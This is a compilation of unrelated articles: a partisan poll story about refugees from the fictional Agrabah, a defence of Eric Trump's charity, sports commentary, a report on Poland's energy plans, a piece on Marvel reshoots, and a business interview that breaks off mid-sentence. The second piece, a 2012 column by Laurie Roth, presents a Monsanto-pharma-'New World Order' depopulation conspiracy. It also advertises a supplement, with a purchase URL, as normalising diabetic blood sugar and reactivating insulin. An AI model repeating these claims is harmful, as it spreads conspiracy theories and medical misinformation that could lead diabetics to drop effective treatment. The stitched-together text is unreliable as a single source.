-Earlier in the week, many scoffed at the stereotype-confirming 30% of Republicans than supported the bombing of Agrabah - the fictional city from the Disney movie Aladdin. Now, according to WPAResearch, a new poll shows a stunning 66% of young Democrats are especially eager to take in the imaginary refugees.  As WPAResearch reports,  Public Policy Polling, which is known for adding questions in surveys to exploit Republicans who are less informed, recently found that 30% of Republican voters would support bombing Agrabah, a fictional country in the Disney film Aladdin.  On December 20, 2015, WPA Research fielded a national survey of 1,132 registered voters that found 44% of Democrats would support taking refugees from that same Agrabah.  Would you support or oppose allowing refugees from Agrabah to be re-settled in the United States?  PPP may have proven that some Republicans will support bombing a fictional country, but fully 44% of Democrats will allow refugees from anywhere into the country, whether they are potential ISIS supporters from Syria or potential cartoon characters on a magic carpet ride.  Additionally, 'Young' Democrats aged 18-34, a key constituency of President Obama, are especially eager to take in imaginary refugees.  So, nearly two-thirds of these voters support accepting refugees from Agrabah. This seems particularly suprising given this generation grew up watching Disney films such as Aladdin.
-UNHOLY TRINITY: MONSANTO, BIG PHARMACY, NEW WORLD ORDER  By Dr. Laurie Roth  July 20, 2012  NewsWithViews.com  Goal – De population  Pharmaceutical companies will control and make you dependent on their medicine of choice. Monsanto will engineer seeds and control food supplies. Obama, the U.N. and his new world order handlers will manage and control it all.  Long before Obama’s tyrannical and controlling rule on America we were viewed as cattle to be forced into shuts to either brand or slaughter. Underneath our noses and beyond most people’s understanding, food, medicine, property rights and even the length of our life span has been assaulted, designed and planned.  You thought all this time you had the right to live, breath, grow food and function as you felt lead??? Aren’t you a precious little cow? Obama, Monsanto and the New World order crowd believe they have that right to control you, not you. You are simply in the way other than being trained and pushed around as a good little ‘surf’ that creates income for the elite international power brokers.  Who is Monsanto and what are they doing?  Monsanto is a huge international GMO who plans to control and IS controlling more and more of the international food supply. They aren’t just a little start up research group studying food supply. They are in 60 countries, have over 14,000 employees and have revenues of $6 billion. They have invested over 500 million in one of their destructive schemes – genomics and biotechnology. I call it what it is – ‘depopulation’ hiding behind ‘Mother Theresa’ goals.  Monsanto is quite famous for the release of the ‘Terminator Seed’ which renders a seed as a controlled and neutered item that can only produce a crop one time. Farmers and growers cannot use and re-use seeds as they have historically done for thousands of years. Monsanto has made sure that their Terminator Seed is good for one crop only. Thus, the farmer is forced to come back to them and get more seeds that ‘hark’ Monsanto controls. Now growers are dependent on Frankenstein’s laboratory.  Where do they hide and do they have real influence?  One whistle blower using an assumed name ‘Miguel’ talked of Monsanto’s domination in our colleges and universities. He also said that after watching them and working with them for 25 years it was most clear that their care for the safety and welfare of people and health is seriously in question. Monsanto has been accused numerous times of fraud, threats to health, accused of ecological disasters and false evidence.  Some say that ‘genetically modified food’ is the harbinger of saving a hungry humanity. Monsanto talks a good game on the surface, food protection, stopping world hunger and viruses but it appears more and more that their goal is just the opposite. Control the world food supply, and depopulate parts of the world by creating massive illness and death, dependency on them for modified seeds. They will have the increasing power to turn the ‘modified’ spicket on and off -- create diseases at will and get rid of unwanted populations. Obama and the U.N. must be thrilled…and you thought abortion was the big de population weapon.  With most of the world standing against Monsanto’s terminator technology, they are verbally distancing themselves from it but in truth pushing and funding it worldwide. It is a known fact that poor farmers feed up to 1.4 billion people a year. If they cannot afford to buy seed after the first year, millions if not billions will die from starvation.  Big pharmacy  The bottom line is that pharmaceutical corporations control billions of dollars, influence research and what competition is allowed in the drug world. They also need people sick and dependent on dangerous and expensive drugs.  There has long been a systematic attack on the natural health movement, products and people who support health and keep you healthy. Big pharmacy needs to keep making money from our dependency on their drugs and an ill population. They have evolved to a version of the Gambino crime family. Who cares about getting people well and off medication?  “In medicine, we see the dominating power of big pharmaceutical corporations, spending millions to court doctors, influence research, (all once deemed unethical) all the while expanding the mechanistic model of the human body. Corporate support of medical schools seems to be turning physicians into sales representatives, winning trips for pushing one drug over another – James Redfield”  How many times have we heard of the FDA threatening and shutting down perfectly safe and fine milk and cheese farms, hiding behind contrived and extremely controlling regulations? Threats are made, fines are issued, guns are drawn, and farms and businesses are shut down, many times perfectly good animals slaughtered. The American people do precious little to stop these endless assaults on our liberty and health. We are becoming good little serfs just as Pharmacy, Monsanto and the New World Order has planned.  Healing Hero and miracle of the Day – MDS Forte  Recently I had the honor and thrill of interviewing Dr. Alberto Ruiz who has devoted his life to helping people get healthy. He reminded me in our interview that rates of cancer have increased from 1 out of 20 to 1 in 3 now. It appears more and more that we are being poisoned and killer diseases are now flourishing.  Ruiz discovered through much painstaking research a natural, safe and organic product from the rain forests in Guatemala that he calls the ‘rain forest miracle.’ He found miraculous even unbelievable healing responses with MDS Forte. Naturally, most of you haven’t heard about it because it heals people and reverses blood sugar to normal if you are Diabetic. It also returns cholesterol levels to normal and activates your glucose control mechanism to start working again. I’m surprised the FDA, Obama and Pharmacy crowd haven’t identified him as a terrorist by now since he is taking away from Pharmacy income and seeing so many get well.  What does Dr. Ruiz MDS Forte do? Check it out and make up your own mind (and no he didn’t pay me to say this). Here are a few morsels I know about this product. It is changing the world of diabetics by putting blood sugar back to normal within the first month. It reactivates your own insulin so your glucose control mechanism starts working again, balances cholesterol levels, achieves healthy triglycerides and is known for banishing unwanted fat and adding lean muscle by destroying food and sugar cravings.  Subscribe to the NewsWithViews Daily News Alerts! Enter Your E-Mail Address:  Imagine using affordable, safe and natural products instead of expensive medication. Imagine normal cholesterol levels and normal blood sugar levels again. Check out for yourself and start getting dramatically better instead of feeding and medicating your illness. Go to www.bestbloodsupport.com The responses from very real people are more than amazing. Try it for yourself and spread the word.  We must as a nation rise up and protect our right to natural healing, natural foods, our right to grow and buy what we want to. We must stop international corporations like Monsanto from controlling and destroying our food supply by pushing Terminator seed technology and demonizing naturally grown food and health remedies.  Join me in getting our country back. Listen to my national radio show 7-10pm PAC at www.therothshow.com
-Over the last two years, the media has gone wild with accusations at the Trump Family, the most recent of which is that the President’s son Eric moved millions of dollars from St. Jude’s Children Hospital to his own personal business. The First Son denied the rumor and the charity has praised him for raising millions for sick children.  Forbes reported that Eric’s charitable golf outing gave more than $500,000 in payments to the Trump Organization from 2012 to 2014, though there was no itemized list of expenses. Meaning the author who wrote the article could not deduce the cost for individual items like staff, alcohol, travel, food, and/or entertainment which would not have benefitted the Trumps.  “It is unclear from these tax forms how much of those payments went to the Trump Organization,” ABC News admitted.  A pair of anonymous sources with alleged knowledge to the charity event were the backbone of the author’s claim and insisted that it was Donald who demanded the charity be billed for holding events on the Trump golf courses.  Meaning any accusation that Eric, the President, or their company directly profited from the charity is baseless. Once again, the media is using anonymous sources to defame the President’s name and his son’s work to help sick children.  St. Jude’s President and CEO Richard Shadyac Jr. released a statement back in December 2016 praising Eric’s charitable work, which included more than $3.6 million in donations that year.With his help, they raised $16.3 million as of December 31, 2016 as part of his $20 million pledge to the charity.  “We recognize and appreciate that, in addition to this pledge, ETF (Eric Trump Foundation) contributions and fundraising efforts prior to the $20,000,000 pledge have helped to raise collectively over $16.3 million dollars for the children of St. Jude over the last ten years,” Shadyac Jr. said.  According to Eric Trump, his expense ratio was 12.3% between 2007-2015 collectively, meaning he dropped nearly 88% to the bottom line.  The only actual evidence is that Eric Trump has worked to raise tens-of-millions of dollars for sick children. Rumors that he and his family profited from them have not been substantiated and are based on rumors and conspiracy theories.  Latest Videos
-Joey Barton is outspoken but what Rangers need right now are players  IOC president Thomas Bach hid from call of duty instead of going to Rio  Slaven Bilic's West Ham team have it all to prove again this season  Fans have the right to protest - and to boo UEFA, because they deserve it  City have worked their way up only to see UEFA benefit the establishment  Pep Guardiola is doing a wonderful job at Manchester City. Eight matches, eight wins, breaking a record that stretched back to the days when opponents included Gainsborough Trinity, Woolwich Arsenal and Darwen.  He has coached Kevin De Bruyne to the form of his life, Raheem Sterling is going that way, too — and already his ideas feel like revolution, evolution and everything in between.  On the subject of UEFA, however, he would do well to mind his own. This is the City fans' specialist subject and he cannot begin to understand how his supporters feel about Europe's governing body.  Pep Guardiola has told Manchester City fans to forget the past when it comes to UEFA  Of course Guardiola is mystified that the Champions League anthem is booed at the Etihad Stadium. He has lived happily on the right side of the tracks throughout his magnificent career.  As manager of Barcelona and Bayern Munich, his has been a life of UEFA-crafted privilege. They have never been anything other than lovely to him.  Not just on a personal level, either. Guardiola might not actually realise his life has changed now he is with Manchester City, because he remains feted wherever he goes. For UEFA, he will always be the man that thrust Lionel Messi into their world, and gave the Champions League some of its greatest nights and feats.  They adore him, and understandably so. And he loves them back. Why wouldn't he?  They extinguish competition, their wealth helps create one-team leagues, they levy £50million fines on rival upstarts — and if all that doesn't work, they rewrite the co-efficient calculations and adjust the financial share of the market pool to ensure the giants of European football seize a greater share of the revenue generated by English clubs.  Guardiola has only worked at clubs that are in league with UEFA, that work hand in glove to preserve their status in the closed shop of the European elite.  So before telling City's fans to forget the past, he might want to get a glimpse of his future. It is all there, in UEFA's new co-efficient table.  Bayern Munich were ranked second in Europe with 163.035 points, and stay there — but now with 189. Barcelona were ranked third with 159.143 points, and stay there — but with 188. Manchester City had 99.257 points — and now have 84. They fall five places to 16th. And this means more chance of a tougher draw — and less money.  Fans have booed the Champions League anthem after a series of issues in the competition  City have worked their way in from Europe's wilderness: 64th in 2010, 42nd in 2011, 22nd in 2013, 17th in 2015, only to be bumped down the co-efficient table in what they believed to be a breakthrough European season.  That is how UEFA works for the clubs outside the gilded elite. That is why Manchester City's fans protest, and why Guardiola cannot understand.  'They must forget what happened in the past,' Guardiola advised, but the same could be said of him. Forget his past and familiarise himself with some recent history. Talk to more supporters, or to people around the club who have lived through the many hypocrisies, inconsistencies and injustices and would cheerfully boo from the posh seats, if only protocol and their employment contracts would allow.  Talk to them about getting fined £25,000 for coming out less than a minute late, in the same year that Porto were fined £17,000 for fans racially abusing Manchester City players. Talk about who got the money from their £49m financial fair play fine (here's a clue, Pep — you used to manage two of them).  Talk about how CSKA Moscow got hundreds of fans into a match due to be played behind closed doors when City's fans — who had done nothing wrong — were excluded. UEFA would even have charged City for booing the Champions League anthem, had news of their intention not made them appear even more petty and ridiculous.  Guardiola has only worked at clubs that are in league with UEFA, such as Barcelona  Guardiola has no frame of reference for any of this resentment. Neither do the clubs he has managed. The year before he arrived, Bayern Munich played a Champions League final at home. Barcelona are considered to have their feet so firmly under the top table that opposition fans in Spain sneeringly refer to them as Uefalona.  Claims of official bias or referees under instruction to ensure their progress are nonsense, of course — but hardly surprising when so much of UEFA's work benefits only the establishment.  And yes, it is unhelpful that Manchester City's fans do not embrace Europe, and that the ground often does not sell out on Champions League nights. Seeing the joy the travelling Leicester fans got from last week's visit to Bruges shows how positive the tournament can be for new arrivals.  Some City fans feel the same way, too — but that does not alter the rights of others to protest, as long as they then move on.  So cheer the team, get behind the players, wring every last drop of enjoyment from a Guardiola side who have, so far, exceeded even the most ambitious expectations. But boo UEFA; because they deserve it.  You never know, the more Guardiola discovers what it is like to be outside their inner circle, he may even feel inclined to join in one day.  Guardiola has got his Manchester City side playing brilliantly so far in the Premier League  'Everything you did last season, you won't get a thing for it this season, not even a throw-in,' said West Ham manager Slaven Bilic before the new Premier League campaign began. Weren't his players listening?  Duelling rabonas against Watford, three goals down before half-time at West Brom; every man around the opposition box when caught on the break for the fourth.  Who do they think they are? What was so special about finishing seventh? They've got it all to prove this season — and need to start playing like it.  West Ham have it all to prove this season having been beaten by Watford and West Brom  Super Mac had scent for goal  One of my first jobs at Reg Hayters' sports agency off Fleet Street was to ghost-write a book with Malcolm Macdonald called simply, How To Score Goals. I spent several weeks as a guest at his house, and it was good to see in his interview with the Mail last week that he remains as sharp on the subject as ever.  Few strikers were as dedicated as Malcolm. He kept notes on every opponent to further his advantage.  A favourite concerned Phil Thompson, the Liverpool centre half. Malcolm discovered on an England trip that he had an aversion to garlic, so would eat several cloves of it before games with Liverpool and breathe all over him. He thought it bought him three yards of space.  Can you imagine a modern striker doing that? For a start the club nutritionist would go mad.  Malcolm Macdonald showed he remains as sharp as ever in his Sportsmail interview  Bach hides from his call of duty  Walter Scheel, a former president of West Germany, died on August 24 this year, and was laid to rest at a state funeral held on September 7 in Berlin, the day of the Paralympics opening ceremony.  Thomas Bach, president of the International Olympic Committee, therefore sent his apologies. Marking the passing of a friend had to be his priority. Even so, as the Paralympics did not close until Sunday, this still left a full 11 days for Bach to get over to Rio de Janeiro.  Unfortunately, apologies again, he had another diary clash. September 10 in Zagreb, marking the 25th anniversary of the Croatian Olympic Committee. Bach held a morning meeting with Croatia's president Kolinda Grabar-Kitarovic, before attending a celebration at the Museum of Contemporary Art.  Yet that still left eight more days to show his face in Rio. And as a man who racked up £421,000 in expenses in the period 2014 to 2015, one does not imagine Bach is too fearful of flying.  Thomas Bach has been in hiding for much of the time he could have been in Brazil  Maybe he was more concerned about incurring the displeasure of his good friend Vladimir Putin by associating with an organisation that did the right thing over Russia's systemic drug cheats.  Maybe he was unnerved by the reception that awaited him, with another pal, Pat Hickey, president of the Olympic Council of Ireland, currently held in Brazil on suspicion of ticket touting. It now emerges that Hickey contacted Bach requiring 500 tickets for the Olympic men's football final, to be sold by the Olympic Council of Ireland.  Great Britain had no allocation and accepted that, but Hickey appears to have cited great interest among Irish visitors in the meeting between Brazil and Germany — coincidentally the hottest ticket for the entire Olympics.  Hickey had also asked for Ireland's allocation of 38 seats for the opening ceremony to be bumped up by an additional 150.  Pat Hickey, Olympic Council of Ireland president, is being held on suspicion of ticket touting  Brazilian authorities believe he had a deal going with THG, a ticket and hospitality agency run by Ipswich Town owner Marcus Evans.  One would think Bach would be anxious to get to the bottom of this, to expose any hint of corruption within the Olympic movement — or at the very least would be happy to be present in person, to help police with their investigation in any way he could.  Instead, he has as good as been in hiding for much of the time when he could have been in Brazil, showing support and doing his job.  The roll call of creeps at the helm of modern sport is a long one, but it is remarkable how quickly Bach has shot to the top of that list. Where do they all come from? They must be grown on farms.  And while we're at it...  If Joey Barton played the game he talked, he would be the footballer he thinks he is. It is fine to be outspoken, to be the self-appointed speaker of truth in every dressing room he occupies, but what Rangers need right now are players.  Ones that can influence a game, change the narrative with what they do, more than what they say — and few have spoken favourably of Barton's performances in Scotland so far.  Those who have worked with him say he assumes the authority of the manager but without the responsibility or wit to maintain morale. But Rangers have got a manager, Mark Warburton, who told Barton to stay away for a week for the sake of team harmony after the 5-1 defeat by Celtic.  Joey Barton's performances for Rangers have not drawn plaudits and now they need to win  That Rangers couldn't then beat Ross County on Saturday suggests much of Barton's criticism may have been justified — but Warburton does not need a surrogate, or a challenger. He needs players who are capable of winning matches, not critiquing them.  Barton does that or there really is no place for him. Not for the first time, the performance is not worth the cost of the maintenance.  Don't let Putin pull the wool over your eyes  The Fancy Bears hack has done exactly as intended. It has muddied the waters to give the impression that other countries, most notably Great Britain and America, cheat as much as Russia do.  It's nonsense. They don't. No hack has produced evidence of samples being tampered with; of systemic doping programmes; of holes in the wall through which dirty vials disappeared and clean ones appeared.  This is all part of Vladimir Putin's hybrid war with the West. Russia now engages with hacks, with hooligans, with propaganda.  A hack has given an impression that other nations cheat as much as Vladimir Putin's Russia do  Therapeutic Use Exemptions (TUEs) are a recognised part of international sport. They are not cheating, but they are controversial because the public are so sick of drug-related corruption that any hint of a banned substance, even one ingested legitimately, makes them suspicious.  The Russian scandal in athletics and other sports has helped create a culture in which nobody is trusted. Laura Trott, a known asthmatic, takes asthma medicine — but suddenly that is made to look nefarious, not logical.  All Russia's hackers required was for one of the icons of the Olympic movement to arouse scepticism — and they have struck gold in Sir Bradley Wiggins. He said British Cycling had a 'no-needles' policy, but that turned out not to be true. Wiggins had been given a therapeutic use exemption by the International Cycling Union to receive injections of a banned drug to treat allergies before three important races.  Laura Trott takes asthma medicine but her reasons are logical as a known asthmatic  Yet we should not be confused. What he did requires explanation but it was not illegal. The use was passed by the cycling authorities, and athletes apply for TUEs all the time.  We can argue that too many are granted, or, at the very least, that their issue should be made public to protect the integrity of sport, even if the individuals' right to privacy would be compromised. But that is a separate argument.  What we cannot fall for is equivalency. The Fancy Bears hack does not put athletes such as Serena Williams, Simone Biles or Chris Froome on a par with the beneficiaries of state-sponsored doping in Russia.  We need to remind ourselves who the good guys are. It's not always us; but it's never them.  FIFA are considering moving the Ballon d'Or ceremony from their home in Zurich to more glamorous locations. The first city being considered is London.
-The street that will lead into Poland's radiant future is dilapidated. Rusty steel mesh protrudes from the concrete, and deep puddles have formed where some of the concrete slabs have sagged into the ground. But such adverse conditions can hardly shake Krzysztof Krzemiski's enthusiasm.  Krzemiski is the mayor of Reda, a small city in northwestern Poland. He maneuvers his gray Volkswagen Passat around the potholes and stops in front of a rickety chain-link fence. Behind it are massive walls from an earlier era, now overgrown with grayish-green vegetation.  It was here, 50 kilometers (30 miles) west of Gdansk, on Lake Zarnowiec, that Poland's communist regime once poured the foundations for a nuclear power plant. Krzemiski was the head of a work brigade at the time. "It was my first job as an engineer," he says. It was "a nice time, very demanding and challenging."  But it all ended with the fall of communism, when the country's new, democratic leaders halted construction on the plant. "We shut down the site in 1989," says Krzemiski. "A few concrete and steel parts were sold for next to nothing, and the reactor went to Finland."  Now, more than 20 years later, the situation has fundamentally changed. Poland, no longer the dirt-poor supplicant of the post-communist era, has transformed itself into an increasingly influential member of the European Union. The economy is booming, and Poland needs electricity -- a lot of electricity. For that reason, Krzemiski believes that the dream of his youth will become a reality after all, and that a reactor will finally be built on Lake Zarnowiec. "Coal is running out, the wind isn't very strong in Poland and the sun rarely shines," he says. "We need nuclear energy."  Touchy about Criticism  Poland's nuclear dream is practically destined to cause friction with its neighbor to the west. Rarely in the last 1,000 years have Poland and Germany been on such good terms as they are today. But in response to Poland's decision to build nuclear power plants, lawmakers of all political stripes in the state parliaments of the eastern German states of Brandenburg and Mecklenburg-Western Pomerania (both of which border Poland), as well as in the city-state of Berlin, have passed motions appealing to the Poles to follow Germany's lead and do without nuclear energy.  But even in the wake of the nuclear disaster in Fukushima, which turned public opinion in Germany massively against atomic power, Warsaw remains undeterred in its determination to develop nuclear energy. "If someone doesn't want to build nuclear power plants, that's their problem," says Polish Prime Minister Donald Tusk. Last week, Economics Minister Waldemar Pawlak told the German newspaper Frankfurter Allgemeine Zeitung that the decision had already been made. The state-owned energy company PGE is expected to build two reactors, and one of them will most likely be in Mayor Krzemiski's jurisdiction, on Lake Zarnowiec.  The disagreement over nuclear power isn't the only energy dispute that pits Polish producers against German politicians. They are also at odds over shale gas discoveries. Geologists have found enormous natural gas reserves locked into the rock deep underneath the hilly, forested landscapes of Pomerania and Kashubia in northwestern Poland. Foreign Minister Radek Sikorski already envisions his country as the Norway of Eastern Europe.  But, once again, it is primarily German environmentalists who are curbing the euphoria over the natural gas find. Jo Leinen, a member of the European Parliament for the center-left Social Democrats and an environmental expert, is calling for tighter regulation of the special process used to extract the natural gas, known as fracking. The process involves the injection of chemicals into layers of rock, with the risk that the substances could potentially leach into ground water.  As Poland's former ambassador to Germany, Janusz Reiter is adept at gauging the mood in German-Polish relations. He fears that a dispute over nuclear power and shale gas could revive old stereotypes on both sides. "Energy is a highly emotional political issue," he says. "For many German environmentalists, the survival of humanity is at stake."  The Poles, for their part, can be touchy when they feel that someone is trying to tell them what to do -- especially if they are German. They are also worried about the fruits of the painful transformation process, and they are afraid that without nuclear power they will never attain the standard of living Western Europeans take for granted.  'There Is No Way to Avoid Nuclear Energy'  The offices of the nuclear energy division of the Polish Economy Ministry are on Three Crosses Square in Warsaw. Director Zbigniew Kubacki receives SPIEGEL in a drab conference room. The only wall decoration consists of a map showing Poland surrounded by users of nuclear power. The Scandinavians produce nuclear energy, and so do the Baltic countries, the Czechs, the Ukrainians and, for the time being, the Germans. The Slovaks and even the Belarusians plan to build new reactors soon. Only Poland, says Kubacki, is lagging behind once again.  Kubacki points out that the country's energy consumption is growing by 4 percent a year, in parallel with its economy. Brown coal, also known as lignite, currently provides about 90 percent of Poland's energy. "But we have European obligations," says Kubacki. "We have to reduce CO2 emissions and diversify the energy mix."  Of course, Kubacki adds, Warsaw will promote renewable energy, no matter how costly. But green energy sources are not nearly enough to satisfy the country's energy needs. Kubacki insists that Poland will buy state-of-the-art reactors and adhere to the highest safety standards. But he also admits that no one in Poland knows what to do with nuclear waste, which remains radioactive for thousands of years. He also admits that according to surveys, support for nuclear energy among Poles dropped below 50 percent after Fukushima.  Nevertheless, he says, "there is no way to avoid nuclear energy." But even though he puts it diplomatically, Kubacki's message is clear: The Germans should tone down their criticism. After all, as he sees it, one reason they are so well off today is that they have been using nuclear energy for the last 50 years.  On some days, Kubacki receives up to 2,500 protest emails from Germany. Environmental initiatives based in Brandenburg and Mecklenburg-Western Pomerania provide templates for such correspondence on their websites.  "We take all objections seriously," Kubacki says politely. It sounds more like an accusation.  Height of Audacity  Many Poles fear that despite their tremendous economic successes, the Germans will continue to treat them as backward country bumpkins who are proving to be obstinate on the subject of nuclear energy.  The Poles become especially irate when the Germans and the Russians join forces, as they did almost seven years ago, when Berlin and Moscow agreed to build a natural gas pipeline under the Baltic Sea, bypassing Poland.  Then-Chancellor Gerhard Schröder didn't even feel it was necessary to consult Warsaw. For many Poles, the notion that Germans now want to prevent them from developing their own natural gas reserves is the height of audacity.  Henryk Doering, the mayor of the village of Krokowa north of Gdansk, no longer understands the Germans, even though he normally holds them in high regard. Despite the resistance of local nationalists, he has preserved German inscriptions on the village school building, which date back to the time when the region was part of Germany. "Our German past is part of our history," he says.  But ever since the shale gas was discovered, he has refused to tolerate the objections coming from environmentalists across the border. The state-owned gas company has already done two test drillings in his community, and gas was found both times. "We hope to see production on an industrial scale here within two years," he says.  'Like Renegade Subjects'  Poland currently buys two thirds of its natural gas from the state-owned Russian gas company Gazprom, which charges Russia's former ally higher prices than its business partners in the West. Warsaw currently pays Russia $500 (€375) for 1,000 cubic meters of gas, while the rest of Europe pays only $300. Poland has filed a lawsuit against Russia in an international court of arbitration in Stockholm.  "The Russians still treat us like renegade subjects," says Doering, but his resentment isn't just directed against Russia.  The village mayor turns toward the Baltic Sea, where the German-Russian pipeline is located. He makes an offensive gesture, slapping his left hand against the crook of his right arm and quickly raising his lower arm with his hand balled into a fist. "Once we start pumping our shale gas, you can all get lost."
-Reshoots! They're a dirty word, mostly because the only time the press takes notes of reshoots is when a production is troubled. But the reality is that for many filmmakers - including Woody Allen, who always schedules reshoots - they're a vital part of the process. They're key to the Marvel way of making movies, which is very much about finding the movie in the edit. While doing press for Guardians of the Galaxy (don't let Turtles beat it this weekend) I talked to Kevin Feige about this, and he told me that JW Rinzler's Making of Star Wars books made him feel better about their process.  I’m reading the part in Jedi where George is finding the movie in the cut. It happened in Empire, and it happened in Star Wars. You’ve heard about those famous early screenings where people were like, ‘Poor George. His career is over.’ That brings great solace to me when we screen our movies for the first time and they’re terrible and they’re a big mess. I remind myself to get calm and proceed. Post is my favorite part, because it’s easiest to find what’s wrong with the movie when you’re watching the movie.  For Feige it's important to know in advance that they will be doing additional shooting, no matter what. So while Avengers: Age of Ultron finished principal photography this week, it's pretty much a certainty that the cast will be getting back together for pick-ups, additions and tweaks. In fact Marvel already locked them in.  We always build in two weeks because the hardest thing about the additional photography is the actors’ schedules, wrangling the actors. So we just build it in. We’ve done some movies that have three days of reshoots, some that have fifteen days, twenty days if not more. Sometimes we know what we need by that point and sometimes we’re wrangling them anyway. There’s a shot in Thor: The Dark World we call the Three Continent shot. It’s one shot, with three different actors in it, that was done on three different continents. Additional photography is invaluable. Sometimes it’s to fix something that’s not working, but most of the time on our movies it’s two-fold: sometimes a better or more exciting idea will come along, or more often something will come out of the movie - because it’s too long or the movie is stronger without a particular beat or scene or shot, and you need connective tissue.  For Marvel these reshoots also offer a chance to put in easter eggs or small pieces that connect to the other movies. It's possible that cameos and larger universe shout-outs that will end up in Avengers: Age of Ultron won't even be shot until weeks before release. The famous shawarma scene in The Avengers was shot after the movie premiered.  Of course this isn't a filmmaking method that works for every filmmaker. Some are more precise in their initial shoot - it's hard to imagine Edgar Wright needing two weeks of additional shooting - but for some (and with a producer-driven studio like Marvel), it is a method that works.
-. Neil Vogel, the CEO of About.com. Courtesy of Neil Vogel  Update: About.com announced on Tuesday, May 2 that it'd be changing its name to "dotdash' after 18 years operating under another name. In our April podcast with CEO Neil Vogel, he explained how he arrived at that rebranding decision after two years of observing media trends and making the wrong choices.  Here's the interview, which was first published in late April, below.  About.com launched in 1997. It used to be one of the world's most visited websites.  Today, internet entrepreneur and investor Neil Vogel has been tasked with saving the IAC-owned dot-com brand from extinction.  "I got a phone call from Joey Levin, who is the CEO of IAC. He asked, 'What do you think of About.com?'" Vogel said during a recent interview with Business Insider. "My answer — in perfect arrogance — was 'I don't.' Who thinks of About.com? Nobody."  Levin persuaded him to come in for a job interview anyway, and Vogel walked out convinced he could help turn the company around. Now he is CEO of About.com, and to save it he's trying something that sounds crazy.  He's shutting down the entire website in early May. In its place, he's launching a half-dozen new sites.  "This is either going to work and be a great success or we're going to crash the plane as we're flying it and this is going to be a horrible failure," Vogel says he told IAC.  So far, the radical plan seems to be working. We spoke with Vogel about the turnaround, and, before that, how he founded the Webby Awards, which have been dubbed "the Oscars of the internet."  On an episode of "Success! How I Did It," a Business Insider podcast about the careers of accomplished and inspiring people, Vogel also explained how a cross-country road trip in a Ford Bronco changed his life.  Listen to the full episode here, or listen later with the buttons below:  Subscribe to "Success! How I Did It" on Art19 or iTunes. Check out previous episodes with:  Following is a transcript of the conversation, edited for clarity and length.  Alyson Shontell: About.com is a 250-person media company that you've revived. It was a dot-com baby, founded in 1996.  Neil Vogel: Nineteen ninety-six. We're 20 years old. We're not a baby — we're not even adolescent. We're like a full-fledged millennial.  Shontell: You've been a venture partner at Firstmark Capital. You've created a company that made awesome events like Internet Week and the Webby Awards, which have been called "the Oscars of the internet."  Vogel: I've done a lot of things. I'm old, man — I'm old.  Shontell: Let's go back to when you were young and hungry. How did you start this career? Investment banking, right?  Vogel: I listened to your podcast with [Bustle and Bleacher Report founder] Bryan Goldberg and he talked about this, but when I got out of college, which was in 1992 — I went to Penn — the only things seemingly you could do were become an investment banker, a consultant, or a brand manager somewhere. And I didn't do any of those things.  For a year I took an internship at IMG, the big sports agency, which I was terrible at, and I hated it. After seven months, I went back to my roots and was an investment banker. I was a banker for five or six years. I very quickly learned that I admired and respected my clients a lot more than my bosses. I did not want to be some dude eating Chinese food in the office on Sunday night at 7:30 making a model for someone else's business. That, to me, seemed stupid. It seemed to me like I wanted to be the guy the model's being made for, which makes some sense.  I ended up leaving and going to work with a couple of guys who started a company called Alloy — or Alloy Media Marketing, for you internet 1.0 people. I was the sixth person there. We ended up growing to be a $300 million-revenue business — very profitable. It went public and had a really good run.  Shontell: What was it like back in the dot-com days for people who might be too young to remember?  Vogel: It's hard to describe. We were kids. We were 27, 28, 29 when Alloy went public. We were just playing business with other people's money. And it felt irresponsible, but we tried really hard. We worked incredibly hard.  The founder of the company, Matt Diamond, was incredibly smart. He was always very focused on building a business that made money. We always made money so we didn't have the outcome of a lot of 1.0 guys. We ended up being pretty successful. But it just was crazy. Everything was at hyper speed. Nobody knew anything. We were the first at everything we did. It was really fun.  Ultimately, I wanted to run my own thing. I left, took a year off, and, with a partner, started a business called Recognition Media. We ended up owning and producing nine or 10 different award shows and events, including the Webby Awards, and we started Internet Week, which we subsequently sold.  A life-changing, yearlong road trip in a Ford Bronco  Shontell: Before we get into that, I want to discuss the time you spent in between jobs. You did a cool soul-searching experiment in which you bought a truck and you drove across the country.  Vogel: I did. I took, like, almost a year off.  Shontell: Tell me about this crazy road trip that changed your life.  Vogel: I don't know — I was 32, single, and we just had this reasonably good outcome. I had no responsibilities and no expenses. I had a dumb rental apartment. So I bought an old Ford Bronco, took the roof off and drove around for a summer.  My father gave me great advice. He said, "Look, you're in a position where you don't have kids, you don't have anything. Go get yourself bored and figure out what you want to do."  For a couple of months I was trying really hard to think about it and figure it out. Then I decided to not think about anything. Believe me, I know it's an incredible luxury to be able to do that.  I didn't think about anything, and then everything became clear. It's an amazing feeling to have no responsibilities. Just "What am I going to do? Oh, I'm going to drive here and visit my friend." Or "I'm going to get on a plane, go to Europe, and hang out." It was amazing.  I was at the beach with some friends before Labor Day weekend in 2004. I hadn't done anything for the whole summer. I wasn't even checking email. I panicked because I had hit maximum boredom. I got in this truck and I drove back to Manhattan on the Thursday before Labor Day weekend. When everybody was going out to go the beach and have fun, I got on a plane, flew to LA to where my business partner was, and we wrote a business plan, and that became the business that was the Webby Awards and Recognition Media.  I tell people it was the best thing I've ever done in my whole life.  Shontell: You're on the beach, you realize "Oh my gosh, I actually miss work. I want to do more. I want to do something." You have this idea. Had you done anything with events before?  Vogel: No, nothing. Zero things.  Shontell: You just thought it would be a fun thing to start.  Vogel: We actually started the company by buying a very small business. Before I dropped off the face of the earth, I talked to a lot of smart media people I knew. And a guy called us with an opportunity. He said, "You can buy this thing called the Telly Awards," which was a little award show based in Ashland, Kentucky.  He found this business in an ad in the back of The Wall Street Journal. He read it, then he clipped it and faxed it to me. I took a look and said, "Wait a minute. This is a database of creative professionals who are all doing internet things and need recognition for their work." If you make TV commercials, who says whether you are doing a good job or not? You need third-party validation.  We did some research, found out there were a million of these little awards around. If we bought this first one and figured it out, we could probably do a bunch more and make this work. That's what we did. I flew to LA to do the work on this Telly Awards thing that we then raised a little bit of money and bought a few months later.  Building the Oscars of the internet, the Webby Awards  Foursquare cofounder Dennis Crowley at the 2011 Webby Awards. Flickr/Eddie Codel  Shontell: What exactly are the Webby Awards, and how did they become this glamorous thing?  Vogel: We bought the Telly Awards and we'd had some success with it. Then, we found out the Webby Awards were owned by IDG, the big media company. They started this award show in the '90s in San Francisco that got some traction. But it kind of went out of business. For two years they didn't have the show. But they had the brand. We approached them and said, "Guys, we want to buy this from you."  The business model is, people pay to enter, and we get lots of corporate sponsors and have a show. The first year we had 800 entries, mainly all from the United States. By the time we were done with it [seven years later] it was about 14,000 entries from 60 countries. It's the award, the Cannes Lions, or the Oscars for people 